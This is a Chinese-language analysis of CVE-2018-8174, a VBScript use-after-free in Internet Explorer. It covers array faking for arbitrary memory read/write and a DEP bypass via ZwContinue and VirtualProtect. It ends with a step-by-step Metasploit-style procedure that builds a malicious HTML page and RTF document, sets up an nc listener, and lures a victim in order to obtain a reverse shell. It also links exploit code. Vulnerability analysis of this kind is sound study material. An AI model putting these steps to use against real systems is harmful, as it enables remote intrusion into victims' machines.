Windows VBScript引擎遠端執行程式碼漏洞 CVE-2018-8174分析與利用
漏洞簡介
VBScript引擎處理記憶體中物件的方式中存在一個遠端執行程式碼漏洞。該漏洞可能以一種攻擊者可以在當前使用者的上下文中執行任意程式碼的方式來破壞記憶體。成功利用此漏洞的攻擊者可以獲得與當前使用者相同的使用者許可權。如果當前使用者使用管理使用者許可權登入,則成功利用此漏洞的攻擊者可以控制受影響的系統。然後攻擊者可以安裝程式; 檢視,更改或刪除資料; 或建立具有完全使用者許可權的新帳戶。
在基於Web的攻擊情形中,攻擊者能通過Internet Explorer利用此漏洞的特定網站,然後誘使使用者檢視該網站。攻擊者還可以在承載IE呈現引擎的應用程式或Microsoft Office文件中嵌入標記為“安全初始化”的ActiveX控制元件。攻擊者還可以利用受到破壞的網站和接受或託管使用者提供的內容或廣告的網站。這些網站可能包含可能利用此漏洞的特製內容。
2018年5月8日,微軟釋出了安全補丁,影響流行的大部分系統版本。
漏洞基本資訊 |
|
漏洞ID |
CVE-2018-8174 |
漏洞名稱 |
Microsoft VBScript引擎遠端執行程式碼漏洞 |
漏洞型別 |
遠端程式碼執行 |
威脅型別 |
UAF |
影響系統版本 |
Windows 7 x86和x64版本、RT8.1、Server2008及R2/2012及R2/2016、8.1、10及伺服器等版本 |
漏洞測試
系統環境 |
Win7 32 |
IE |
IE8 |
EXP |
https://www.exploit-db.com/exploits/44741/ |
漏洞原理
由於樣本混淆嚴重,部分程式碼見圖1,這裡採用簡化POC進行分析,程式碼見圖2。
圖1 樣本採用了嚴重混淆
圖2 Crash Poc
Crash Poc中定義兩個陣列array_a和array_b,並聲明瞭一個類MyTest,且過載了解構函式Class_Terminate,UAF中建立MyTest的例項賦值給陣列array_a(1),並通過Erase array_a清空array_a中的元素,在析構array_a中的元素的時候會觸發指令碼中Class_Terminate的呼叫,在Class_Terminate中增加了一個array_b(0)對MyTest例項的引用(MyTest例項引用計數+1),再通過array_a (1)= 1刪除array_a (1) 對MyTest例項的引用(MyTest例項引用計數-1)來平衡引用計數,這時候MyTest例項會被釋放,但是array_b(0)仍然保留了這個MyTest例項的引用,從而array_b(0)指向了被釋放的MyTest例項的記憶體,最終在MyTestVuln中通過b(0) = 0訪問未分配記憶體觸發漏洞。
當我們啟用了頁堆的IE瀏覽器執行這個PoC時,我們可以觀察到OLEAUT32!VariantClear函式會發生崩潰:呼叫被釋放的記憶體時出現訪問衝突(Access Violation)異常。
從堆資訊中可以看到eax(0x14032fd0)在vbscript!VbsErase的呼叫棧中被釋放了,vbscript!VbsErase即對應了指令碼中的Erase,而eax正是被VBScriptClass::Release函式釋放的VBScriptClass物件也就是指令碼中的MyTest例項。VBScriptClass::Release的邏輯如下圖:
VBScriptClass::Release中首先對VBScriptClass的引用計數-1(&VBScriptClass+0×4),如果引用計數=0則呼叫VBScriptClass::TerminateClass,呼叫VBScriptClass::TerminateClass時因為在指令碼中過載了Class_Terminate函式,所以獲得了一次指令碼執行的機會,這裡就可以在釋放VBScriptClass的記憶體前將即將釋放的VBScriptClass記憶體地址儲存指令碼控制的變數中(Set array_b(0)=array_a(1)),並通過array_a (1) = 1平衡引用計數,最終釋放記憶體。
Set array_a(1) = New MyTest時,VBScriptClass引用計數為2。
Erase array_a 返回後,MyTest指向的記憶體已釋放,但array_b(0)仍指向這塊被釋放的記憶體,形成了懸掛指標,見下圖:
漏洞利用分析
UAF漏洞利用的關鍵是如何用這個懸掛指標來操作記憶體。該漏洞利用多次UAF來完成型別混淆,通過偽造精陣列物件完成任意地址讀寫,最終通過構造物件後釋放來獲取程式碼執行,程式碼執行沒有使用傳統的ROP技術或GodMod技術,而是通過指令碼佈局Shellcode利用。
-
偽造陣列達到任意寫目的
通過UAF製造2個類的mem成員指向的偏移相差0x0c位元組,通過對2個物件mem成員讀的寫操作偽造一個0x7fffffff大小的陣列。
偽造的陣列大致情況是:一維陣列,元素有7fffffff個,每個元素佔用1位元組,元素記憶體地址為0。所以該陣列可訪問的記憶體空間為0x00000000到0x7ffffffff*1。因此通過該陣列可以任意地址讀寫。但是在lIlIIl在存放的時候,存放的型別是string型別,故只需要將該資料型別將會被修改為0x200C,即VT_VARIANT|VT_ARRAY,陣列型別,即可達到目的。
-
讀取指定引數的記憶體資料
攻擊程式碼中,主要使用上面的函式來讀取引數所指定的記憶體地址的資料。利用思路是在VBS中資料型別為bstr型別,通過vb中lenb(bstrxx)返回字串地址前4個位元組的內容(即bstr型別size域內容)的特性,獲取指定記憶體讀能力。 如上述程式碼所示,假如傳進來的引數為addr(0x11223344),首先該數值加4,為0x11223348,然後設定variant型別為8(string型別)。然後呼叫len函式,發現是BSTR型別,vbscript會認為其向前4位元組即0x11223344就是存放長度的地址記憶體。因此執行len函式,實際上就返回了制定引數記憶體地址的值。
-
獲取關鍵DLL基址
通過DOSmodeSearch獲取。
通過洩露CScriptEntryPoint物件的虛擬函式表地址,該地址屬於Vbscript.dll。
由於vbscript.dll匯入了msvcrt.dll,因此通過遍歷vbscript.dll匯入表獲取msvcrt.dll基地址, msvcrt.dll又引入了kernelbase.dll、ntdll.dll,最後可以獲取NtContinue、VirtualProtect函式地址。
-
繞過DEP執行shellcode
a.利用任意讀寫的手段修改某個VAR的type型別為0x4d,再賦值為0讓虛擬機器執行VAR::Clear函式,如下圖顯示。
b.通過精心控制使程式碼執行ntdll!ZwContinue函式,第一次引數CONTEXT結構體也是攻擊者精心構造的,見下圖。
c.ZwContinue的第一個引數是指向CONTEXT結構體的指標,可計算出EIP和ESP在CONTEXT中的偏移。
d.實際執行時CONTEXT中的Eip和Esp的值以及攻擊者的方法,見下圖。
攻擊者將CONTEXT中的EIP設定為VirutalProtect,將ESP中的返回地址和VirtualProtect的第一個引數,都設定為shellcode的起始地址。當ZwContinue執行後直接跳到VirtualProtect第一條指令開始執行。
根據攻擊者構造的引數將shellcode所在記憶體設定為可執行狀態,當VirtualProtect返回時就會跳到shellcode執行。
最後呼叫WinExec彈出計算器。
-
MSF利用
環境準備
目標機 |
Win7以及安裝具有該漏洞的office |
攻擊機 |
Kali linux |
Msf元件 |
https://github.com/Sch01ar/CVE-2018-8174_EXP |
生成帶有惡意 VBscript 的html 頁面和 word 文件
python CVE-2018-8174.py -uhttp://192.168.106.139/exploit.html -o msf.rtf -i 192.168.106.139 -p 4444
把 explot.html 複製到/var/www/html目錄,
把msf.rtf複製到 /root/.msf4/local目錄。
開啟 apache 服務
nc監聽4444埠
在靶機的 IE 瀏覽器開啟惡意 URL,或者開啟 word 開啟 msf.rtf
收到反彈shell
參考資料:
http://blogs.360.cn/post/cve-2018-8174-en.html
http://www.freebuf.com/vuls/172983.html